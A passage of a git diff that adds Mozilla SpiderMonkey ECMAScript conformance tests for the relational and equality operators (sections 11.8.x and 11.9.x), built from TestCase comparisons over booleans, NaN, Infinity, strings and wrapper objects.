+new TestCase( SECTION, "Infinity < Infinity", false, Number.POSITIVE_INFINITY < Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 < Infinity", true, 0 < Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE < Infinity", true, Number.MAX_VALUE < Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 < -Infinity", false, 0 < Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE < -Infinity", false, Number.MAX_VALUE < Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-Infinity < -Infinity", false, Number.NEGATIVE_INFINITY < Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "-Infinity < 0", true, Number.NEGATIVE_INFINITY < 0 );
+new TestCase( SECTION, "-Infinity < -Number.MAX_VALUE", true, Number.NEGATIVE_INFINITY < -Number.MAX_VALUE );
+new TestCase( SECTION, "-Infinity < Number.MIN_VALUE", true, Number.NEGATIVE_INFINITY < Number.MIN_VALUE );
+
+new TestCase( SECTION, "'string' < 'string'", false, 'string' < 'string' );
+new TestCase( SECTION, "'astring' < 'string'", true, 'astring' < 'string' );
+new TestCase( SECTION, "'strings' < 'stringy'", true, 'strings' < 'stringy' );
+new TestCase( SECTION, "'strings' < 'stringier'", false, 'strings' < 'stringier' );
+new TestCase( SECTION, "'string' < 'astring'", false, 'string' < 'astring' );
+new TestCase( SECTION, "'string' < 'strings'", true, 'string' < 'strings' );
+
+test();
+
+function MyObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+ this.toString = new Function( "return this.value +''" );
+}
+function MyValueObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
+function MyStringObject(value) {
+ this.value = value;
+ this.toString = new Function( "return this.value +''" );
+}
diff --git a/js/src/tests/ecma/Expressions/11.8.2.js b/js/src/tests/ecma/Expressions/11.8.2.js
new file mode 100644
index 000000000..d8a7315c1
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.8.2.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.8.2.js
+ ECMA Section: 11.8.2 The greater-than operator ( > )
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.8.2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The greater-than operator ( > )");
+
+new TestCase( SECTION, "true > false", true, true > false );
+new TestCase( SECTION, "false > true", false, false > true );
+new TestCase( SECTION, "false > false", false, false > false );
+new TestCase( SECTION, "true > true", false, true > true );
+
+new TestCase( SECTION, "new Boolean(true) > new Boolean(true)", false, new Boolean(true) > new Boolean(true) );
+new TestCase( SECTION, "new Boolean(true) > new Boolean(false)", true, new Boolean(true) > new Boolean(false) );
+new TestCase( SECTION, "new Boolean(false) > new Boolean(true)", false, new Boolean(false) > new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) > new Boolean(false)", false, new Boolean(false) > new Boolean(false) );
+
+new TestCase( SECTION, "new MyObject(Infinity) > new MyObject(Infinity)", false, new MyObject( Number.POSITIVE_INFINITY ) > new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) > new MyObject(Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) > new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) > new MyObject(-Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) > new MyObject( Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION, "new MyValueObject(false) > new MyValueObject(true)", false, new MyValueObject(false) > new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(true) > new MyValueObject(true)", false, new MyValueObject(true) > new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(false) > new MyValueObject(false)", false, new MyValueObject(false) > new MyValueObject(false) );
+
+new TestCase( SECTION, "new MyStringObject(false) > new MyStringObject(true)", false, new MyStringObject(false) > new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(true) > new MyStringObject(true)", false, new MyStringObject(true) > new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(false) > new MyStringObject(false)", false, new MyStringObject(false) > new MyStringObject(false) );
+
+new TestCase( SECTION, "Number.NaN > Number.NaN", false, Number.NaN > Number.NaN );
+new TestCase( SECTION, "0 > Number.NaN", false, 0 > Number.NaN );
+new TestCase( SECTION, "Number.NaN > 0", false, Number.NaN > 0 );
+
+new TestCase( SECTION, "0 > -0", false, 0 > -0 );
+new TestCase( SECTION, "-0 > 0", false, -0 > 0 );
+
+new TestCase( SECTION, "Infinity > 0", true, Number.POSITIVE_INFINITY > 0 );
+new TestCase( SECTION, "Infinity > Number.MAX_VALUE", true, Number.POSITIVE_INFINITY > Number.MAX_VALUE );
+new TestCase( SECTION, "Infinity > Infinity", false, Number.POSITIVE_INFINITY > Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 > Infinity", false, 0 > Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE > Infinity", false, Number.MAX_VALUE > Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 > -Infinity", true, 0 > Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE > -Infinity", true, Number.MAX_VALUE > Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-Infinity > -Infinity", false, Number.NEGATIVE_INFINITY > Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "-Infinity > 0", false, Number.NEGATIVE_INFINITY > 0 );
+new TestCase( SECTION, "-Infinity > -Number.MAX_VALUE", false, Number.NEGATIVE_INFINITY > -Number.MAX_VALUE );
+new TestCase( SECTION, "-Infinity > Number.MIN_VALUE", false, Number.NEGATIVE_INFINITY > Number.MIN_VALUE );
+
+new TestCase( SECTION, "'string' > 'string'", false, 'string' > 'string' );
+new TestCase( SECTION, "'astring' > 'string'", false, 'astring' > 'string' );
+new TestCase( SECTION, "'strings' > 'stringy'", false, 'strings' > 'stringy' );
+new TestCase( SECTION, "'strings' > 'stringier'", true, 'strings' > 'stringier' );
+new TestCase( SECTION, "'string' > 'astring'", true, 'string' > 'astring' );
+new TestCase( SECTION, "'string' > 'strings'", false, 'string' > 'strings' );
+
+test();
+
+function MyObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+ this.toString = new Function( "return this.value +''" );
+}
+function MyValueObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
+function MyStringObject(value) {
+ this.value = value;
+ this.toString = new Function( "return this.value +''" );
+}
diff --git a/js/src/tests/ecma/Expressions/11.8.3.js b/js/src/tests/ecma/Expressions/11.8.3.js
new file mode 100644
index 000000000..324a5d5f4
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.8.3.js
@@ -0,0 +1,86 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.8.3.js
+ ECMA Section: 11.8.3 The less-than-or-equal operator ( <= )
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.8.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The less-than-or-equal operator ( <= )");
+
+new TestCase( SECTION, "true <= false", false, true <= false );
+new TestCase( SECTION, "false <= true", true, false <= true );
+new TestCase( SECTION, "false <= false", true, false <= false );
+new TestCase( SECTION, "true <= true", true, true <= true );
+
+new TestCase( SECTION, "new Boolean(true) <= new Boolean(true)", true, new Boolean(true) <= new Boolean(true) );
+new TestCase( SECTION, "new Boolean(true) <= new Boolean(false)", false, new Boolean(true) <= new Boolean(false) );
+new TestCase( SECTION, "new Boolean(false) <= new Boolean(true)", true, new Boolean(false) <= new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) <= new Boolean(false)", true, new Boolean(false) <= new Boolean(false) );
+
+new TestCase( SECTION, "new MyObject(Infinity) <= new MyObject(Infinity)", true, new MyObject( Number.POSITIVE_INFINITY ) <= new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) <= new MyObject(Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) <= new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) <= new MyObject(-Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) <= new MyObject( Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION, "new MyValueObject(false) <= new MyValueObject(true)", true, new MyValueObject(false) <= new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(true) <= new MyValueObject(true)", true, new MyValueObject(true) <= new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(false) <= new MyValueObject(false)", true, new MyValueObject(false) <= new MyValueObject(false) );
+
+new TestCase( SECTION, "new MyStringObject(false) <= new MyStringObject(true)", true, new MyStringObject(false) <= new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(true) <= new MyStringObject(true)", true, new MyStringObject(true) <= new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(false) <= new MyStringObject(false)", true, new MyStringObject(false) <= new MyStringObject(false) );
+
+new TestCase( SECTION, "Number.NaN <= Number.NaN", false, Number.NaN <= Number.NaN );
+new TestCase( SECTION, "0 <= Number.NaN", false, 0 <= Number.NaN );
+new TestCase( SECTION, "Number.NaN <= 0", false, Number.NaN <= 0 );
+
+new TestCase( SECTION, "0 <= -0", true, 0 <= -0 );
+new TestCase( SECTION, "-0 <= 0", true, -0 <= 0 );
+
+new TestCase( SECTION, "Infinity <= 0", false, Number.POSITIVE_INFINITY <= 0 );
+new TestCase( SECTION, "Infinity <= Number.MAX_VALUE", false, Number.POSITIVE_INFINITY <= Number.MAX_VALUE );
+new TestCase( SECTION, "Infinity <= Infinity", true, Number.POSITIVE_INFINITY <= Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 <= Infinity", true, 0 <= Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE <= Infinity", true, Number.MAX_VALUE <= Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 <= -Infinity", false, 0 <= Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE <= -Infinity", false, Number.MAX_VALUE <= Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-Infinity <= -Infinity", true, Number.NEGATIVE_INFINITY <= Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "-Infinity <= 0", true, Number.NEGATIVE_INFINITY <= 0 );
+new TestCase( SECTION, "-Infinity <= -Number.MAX_VALUE", true, Number.NEGATIVE_INFINITY <= -Number.MAX_VALUE );
+new TestCase( SECTION, "-Infinity <= Number.MIN_VALUE", true, Number.NEGATIVE_INFINITY <= Number.MIN_VALUE );
+
+new TestCase( SECTION, "'string' <= 'string'", true, 'string' <= 'string' );
+new TestCase( SECTION, "'astring' <= 'string'", true, 'astring' <= 'string' );
+new TestCase( SECTION, "'strings' <= 'stringy'", true, 'strings' <= 'stringy' );
+new TestCase( SECTION, "'strings' <= 'stringier'", false, 'strings' <= 'stringier' );
+new TestCase( SECTION, "'string' <= 'astring'", false, 'string' <= 'astring' );
+new TestCase( SECTION, "'string' <= 'strings'", true, 'string' <= 'strings' );
+
+test();
+
+function MyObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+ this.toString = new Function( "return this.value +''" );
+}
+function MyValueObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
+function MyStringObject(value) {
+ this.value = value;
+ this.toString = new Function( "return this.value +''" );
+}
diff --git a/js/src/tests/ecma/Expressions/11.8.4.js b/js/src/tests/ecma/Expressions/11.8.4.js
new file mode 100644
index 000000000..19ed1084f
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.8.4.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.8.4.js
+ ECMA Section: 11.8.4 The greater-than-or-equal operator ( >= )
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.8.4";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The greater-than-or-equal operator ( >= )");
+
+new TestCase( SECTION, "true >= false", true, true >= false );
+new TestCase( SECTION, "false >= true", false, false >= true );
+new TestCase( SECTION, "false >= false", true, false >= false );
+new TestCase( SECTION, "true >= true", true, true >= true );
+
+new TestCase( SECTION, "new Boolean(true) >= new Boolean(true)", true, new Boolean(true) >= new Boolean(true) );
+new TestCase( SECTION, "new Boolean(true) >= new Boolean(false)", true, new Boolean(true) >= new Boolean(false) );
+new TestCase( SECTION, "new Boolean(false) >= new Boolean(true)", false, new Boolean(false) >= new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) >= new Boolean(false)", true, new Boolean(false) >= new Boolean(false) );
+
+new TestCase( SECTION, "new MyObject(Infinity) >= new MyObject(Infinity)", true, new MyObject( Number.POSITIVE_INFINITY ) >= new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) >= new MyObject(Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) >= new MyObject( Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "new MyObject(-Infinity) >= new MyObject(-Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) >= new MyObject( Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION, "new MyValueObject(false) >= new MyValueObject(true)", false, new MyValueObject(false) >= new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(true) >= new MyValueObject(true)", true, new MyValueObject(true) >= new MyValueObject(true) );
+new TestCase( SECTION, "new MyValueObject(false) >= new MyValueObject(false)", true, new MyValueObject(false) >= new MyValueObject(false) );
+
+new TestCase( SECTION, "new MyStringObject(false) >= new MyStringObject(true)", false, new MyStringObject(false) >= new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(true) >= new MyStringObject(true)", true, new MyStringObject(true) >= new MyStringObject(true) );
+new TestCase( SECTION, "new MyStringObject(false) >= new MyStringObject(false)", true, new MyStringObject(false) >= new MyStringObject(false) );
+
+new TestCase( SECTION, "Number.NaN >= Number.NaN", false, Number.NaN >= Number.NaN );
+new TestCase( SECTION, "0 >= Number.NaN", false, 0 >= Number.NaN );
+new TestCase( SECTION, "Number.NaN >= 0", false, Number.NaN >= 0 );
+
+new TestCase( SECTION, "0 >= -0", true, 0 >= -0 );
+new TestCase( SECTION, "-0 >= 0", true, -0 >= 0 );
+
+new TestCase( SECTION, "Infinity >= 0", true, Number.POSITIVE_INFINITY >= 0 );
+new TestCase( SECTION, "Infinity >= Number.MAX_VALUE", true, Number.POSITIVE_INFINITY >= Number.MAX_VALUE );
+new TestCase( SECTION, "Infinity >= Infinity", true, Number.POSITIVE_INFINITY >= Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 >= Infinity", false, 0 >= Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE >= Infinity", false, Number.MAX_VALUE >= Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "0 >= -Infinity", true, 0 >= Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.MAX_VALUE >= -Infinity", true, Number.MAX_VALUE >= Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-Infinity >= -Infinity", true, Number.NEGATIVE_INFINITY >= Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "-Infinity >= 0", false, Number.NEGATIVE_INFINITY >= 0 );
+new TestCase( SECTION, "-Infinity >= -Number.MAX_VALUE", false, Number.NEGATIVE_INFINITY >= -Number.MAX_VALUE );
+new TestCase( SECTION, "-Infinity >= Number.MIN_VALUE", false, Number.NEGATIVE_INFINITY >= Number.MIN_VALUE );
+
+new TestCase( SECTION, "'string' > 'string'", false, 'string' > 'string' );
+new TestCase( SECTION, "'astring' > 'string'", false, 'astring' > 'string' );
+new TestCase( SECTION, "'strings' > 'stringy'", false, 'strings' > 'stringy' );
+new TestCase( SECTION, "'strings' > 'stringier'", true, 'strings' > 'stringier' );
+new TestCase( SECTION, "'string' > 'astring'", true, 'string' > 'astring' );
+new TestCase( SECTION, "'string' > 'strings'", false, 'string' > 'strings' );
+
+test();
+
+function MyObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+ this.toString = new Function( "return this.value +''" );
+}
+function MyValueObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
+function MyStringObject(value) {
+ this.value = value;
+ this.toString = new Function( "return this.value +''" );
+}
diff --git a/js/src/tests/ecma/Expressions/11.9.1.js b/js/src/tests/ecma/Expressions/11.9.1.js
new file mode 100644
index 000000000..3d11a0f32
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.9.1.js
@@ -0,0 +1,125 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.9.1.js
+ ECMA Section: 11.9.1 The equals operator ( == )
+ Description:
+
+ The production EqualityExpression:
+ EqualityExpression == RelationalExpression is evaluated as follows:
+
+ 1. Evaluate EqualityExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate RelationalExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Perform the comparison Result(4) == Result(2). (See section 11.9.3)
+ 6. Return Result(5).
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.9.1";
+var VERSION = "ECMA_1";
+var BUGNUMBER="77391";
+startTest();
+
+writeHeaderToLog( SECTION + " The equals operator ( == )");
+
+// type x and type y are the same. if type x is undefined or null, return true
+
+new TestCase( SECTION, "void 0 = void 0", true, void 0 == void 0 );
+new TestCase( SECTION, "null == null", true, null == null );
+
+// if x is NaN, return false. if y is NaN, return false.
+
+new TestCase( SECTION, "NaN == NaN", false, Number.NaN == Number.NaN );
+new TestCase( SECTION, "NaN == 0", false, Number.NaN == 0 );
+new TestCase( SECTION, "0 == NaN", false, 0 == Number.NaN );
+new TestCase( SECTION, "NaN == Infinity", false, Number.NaN == Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Infinity == NaN", false, Number.POSITIVE_INFINITY == Number.NaN );
+
+// if x is the same number value as y, return true.
+
+new TestCase( SECTION, "Number.MAX_VALUE == Number.MAX_VALUE", true, Number.MAX_VALUE == Number.MAX_VALUE );
+new TestCase( SECTION, "Number.MIN_VALUE == Number.MIN_VALUE", true, Number.MIN_VALUE == Number.MIN_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY", true, Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY", true, Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY );
+
+// if xis 0 and y is -0, return true. if x is -0 and y is 0, return true.
+
+new TestCase( SECTION, "0 == 0", true, 0 == 0 );
+new TestCase( SECTION, "0 == -0", true, 0 == -0 );
+new TestCase( SECTION, "-0 == 0", true, -0 == 0 );
+new TestCase( SECTION, "-0 == -0", true, -0 == -0 );
+
+// return false.
+
+new TestCase( SECTION, "0.9 == 1", false, 0.9 == 1 );
+new TestCase( SECTION, "0.999999 == 1", false, 0.999999 == 1 );
+new TestCase( SECTION, "0.9999999999 == 1", false, 0.9999999999 == 1 );
+new TestCase( SECTION, "0.9999999999999 == 1", false, 0.9999999999999 == 1 );
+
+// type x and type y are the same type, but not numbers.
+
+
+// x and y are strings. return true if x and y are exactly the same sequence of characters.
+// otherwise, return false.
+
+new TestCase( SECTION, "'hello' == 'hello'", true, "hello" == "hello" );
+
+// x and y are booleans. return true if both are true or both are false.
+
+new TestCase( SECTION, "true == true", true, true == true );
+new TestCase( SECTION, "false == false", true, false == false );
+new TestCase( SECTION, "true == false", false, true == false );
+new TestCase( SECTION, "false == true", false, false == true );
+
+// return true if x and y refer to the same object. otherwise return false.
+
+new TestCase( SECTION, "new MyObject(true) == new MyObject(true)", false, new MyObject(true) == new MyObject(true) );
+new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) );
+
+
+new TestCase( SECTION, "x = new MyObject(true); y = x; z = x; z == y", true, eval("x = new MyObject(true); y = x; z = x; z == y") );
+new TestCase( SECTION, "x = new MyObject(false); y = x; z = x; z == y", true, eval("x = new MyObject(false); y = x; z = x; z == y") );
+new TestCase( SECTION, "x = new Boolean(true); y = x; z = x; z == y", true, eval("x = new Boolean(true); y = x; z = x; z == y") );
+new TestCase( SECTION, "x = new Boolean(false); y = x; z = x; z == y", true, eval("x = new Boolean(false); y = x; z = x; z == y") );
+
+new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) );
+
+// if x is null and y is undefined, return true. if x is undefined and y is null return true.
+
+new TestCase( SECTION, "null == void 0", true, null == void 0 );
+new TestCase( SECTION, "void 0 == null", true, void 0 == null );
+
+// if type(x) is Number and type(y) is string, return the result of the comparison x == ToNumber(y).
+
+new TestCase( SECTION, "1 == '1'", true, 1 == '1' );
+new TestCase( SECTION, "255 == '0xff'", true, 255 == '0xff' );
+new TestCase( SECTION, "0 == '\r'", true, 0 == "\r" );
+new TestCase( SECTION, "1e19 == '1e19'", true, 1e19 == "1e19" );
+
+
+new TestCase( SECTION, "new Boolean(true) == true", true, true == new Boolean(true) );
+new TestCase( SECTION, "new MyObject(true) == true", true, true == new MyObject(true) );
+
+new TestCase( SECTION, "new Boolean(false) == false", true, new Boolean(false) == false );
+new TestCase( SECTION, "new MyObject(false) == false", true, new MyObject(false) == false );
+
+new TestCase( SECTION, "true == new Boolean(true)", true, true == new Boolean(true) );
+new TestCase( SECTION, "true == new MyObject(true)", true, true == new MyObject(true) );
+
+new TestCase( SECTION, "false == new Boolean(false)", true, false == new Boolean(false) );
+new TestCase( SECTION, "false == new MyObject(false)", true, false == new MyObject(false) );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
diff --git a/js/src/tests/ecma/Expressions/11.9.2.js b/js/src/tests/ecma/Expressions/11.9.2.js
new file mode 100644
index 000000000..196d7e825
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.9.2.js
@@ -0,0 +1,125 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.9.2.js
+ ECMA Section: 11.9.2 The equals operator ( == )
+ Description:
+
+ The production EqualityExpression:
+ EqualityExpression == RelationalExpression is evaluated as follows:
+
+ 1. Evaluate EqualityExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate RelationalExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Perform the comparison Result(4) == Result(2). (See section 11.9.3)
+ 6. Return Result(5).
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.9.2";
+var VERSION = "ECMA_1";
+var BUGNUMBER="77391";
+startTest();
+
+writeHeaderToLog( SECTION + " The equals operator ( == )");
+
+// type x and type y are the same. if type x is undefined or null, return true
+
+new TestCase( SECTION, "void 0 == void 0", false, void 0 != void 0 );
+new TestCase( SECTION, "null == null", false, null != null );
+
+// if x is NaN, return false. if y is NaN, return false.
+
+new TestCase( SECTION, "NaN != NaN", true, Number.NaN != Number.NaN );
+new TestCase( SECTION, "NaN != 0", true, Number.NaN != 0 );
+new TestCase( SECTION, "0 != NaN", true, 0 != Number.NaN );
+new TestCase( SECTION, "NaN != Infinity", true, Number.NaN != Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Infinity != NaN", true, Number.POSITIVE_INFINITY != Number.NaN );
+
+// if x is the same number value as y, return true.
+
+new TestCase( SECTION, "Number.MAX_VALUE != Number.MAX_VALUE", false, Number.MAX_VALUE != Number.MAX_VALUE );
+new TestCase( SECTION, "Number.MIN_VALUE != Number.MIN_VALUE", false, Number.MIN_VALUE != Number.MIN_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY != Number.POSITIVE_INFINITY", false, Number.POSITIVE_INFINITY != Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY != Number.NEGATIVE_INFINITY", false, Number.NEGATIVE_INFINITY != Number.NEGATIVE_INFINITY );
+
+// if xis 0 and y is -0, return true. if x is -0 and y is 0, return true.
+
+new TestCase( SECTION, "0 != 0", false, 0 != 0 );
+new TestCase( SECTION, "0 != -0", false, 0 != -0 );
+new TestCase( SECTION, "-0 != 0", false, -0 != 0 );
+new TestCase( SECTION, "-0 != -0", false, -0 != -0 );
+
+// return false.
+
+new TestCase( SECTION, "0.9 != 1", true, 0.9 != 1 );
+new TestCase( SECTION, "0.999999 != 1", true, 0.999999 != 1 );
+new TestCase( SECTION, "0.9999999999 != 1", true, 0.9999999999 != 1 );
+new TestCase( SECTION, "0.9999999999999 != 1", true, 0.9999999999999 != 1 );
+
+// type x and type y are the same type, but not numbers.
+
+
+// x and y are strings. return true if x and y are exactly the same sequence of characters.
+// otherwise, return false.
+
+new TestCase( SECTION, "'hello' != 'hello'", false, "hello" != "hello" );
+
+// x and y are booleans. return true if both are true or both are false.
+
+new TestCase( SECTION, "true != true", false, true != true );
+new TestCase( SECTION, "false != false", false, false != false );
+new TestCase( SECTION, "true != false", true, true != false );
+new TestCase( SECTION, "false != true", true, false != true );
+
+// return true if x and y refer to the same object. otherwise return false.
+
+new TestCase( SECTION, "new MyObject(true) != new MyObject(true)", true, new MyObject(true) != new MyObject(true) );
+new TestCase( SECTION, "new Boolean(true) != new Boolean(true)", true, new Boolean(true) != new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) != new Boolean(false)", true, new Boolean(false) != new Boolean(false) );
+
+
+new TestCase( SECTION, "x = new MyObject(true); y = x; z = x; z != y", false, eval("x = new MyObject(true); y = x; z = x; z != y") );
+new TestCase( SECTION, "x = new MyObject(false); y = x; z = x; z != y", false, eval("x = new MyObject(false); y = x; z = x; z != y") );
+new TestCase( SECTION, "x = new Boolean(true); y = x; z = x; z != y", false, eval("x = new Boolean(true); y = x; z = x; z != y") );
+new TestCase( SECTION, "x = new Boolean(false); y = x; z = x; z != y", false, eval("x = new Boolean(false); y = x; z = x; z != y") );
+
+new TestCase( SECTION, "new Boolean(true) != new Boolean(true)", true, new Boolean(true) != new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) != new Boolean(false)", true, new Boolean(false) != new Boolean(false) );
+
+// if x is null and y is undefined, return true. if x is undefined and y is null return true.
+
+new TestCase( SECTION, "null != void 0", false, null != void 0 );
+new TestCase( SECTION, "void 0 != null", false, void 0 != null );
+
+// if type(x) is Number and type(y) is string, return the result of the comparison x != ToNumber(y).
+
+new TestCase( SECTION, "1 != '1'", false, 1 != '1' );
+new TestCase( SECTION, "255 != '0xff'", false, 255 != '0xff' );
+new TestCase( SECTION, "0 != '\r'", false, 0 != "\r" );
+new TestCase( SECTION, "1e19 != '1e19'", false, 1e19 != "1e19" );
+
+
+new TestCase( SECTION, "new Boolean(true) != true", false, true != new Boolean(true) );
+new TestCase( SECTION, "new MyObject(true) != true", false, true != new MyObject(true) );
+
+new TestCase( SECTION, "new Boolean(false) != false", false, new Boolean(false) != false );
+new TestCase( SECTION, "new MyObject(false) != false", false, new MyObject(false) != false );
+
+new TestCase( SECTION, "true != new Boolean(true)", false, true != new Boolean(true) );
+new TestCase( SECTION, "true != new MyObject(true)", false, true != new MyObject(true) );
+
+new TestCase( SECTION, "false != new Boolean(false)", false, false != new Boolean(false) );
+new TestCase( SECTION, "false != new MyObject(false)", false, false != new MyObject(false) );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
diff --git a/js/src/tests/ecma/Expressions/11.9.3.js b/js/src/tests/ecma/Expressions/11.9.3.js
new file mode 100644
index 000000000..5fa0d35b3
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.9.3.js
@@ -0,0 +1,125 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.9.3.js
+ ECMA Section: 11.9.3 The equals operator ( == )
+ Description:
+
+ The production EqualityExpression:
+ EqualityExpression == RelationalExpression is evaluated as follows:
+
+ 1. Evaluate EqualityExpression.
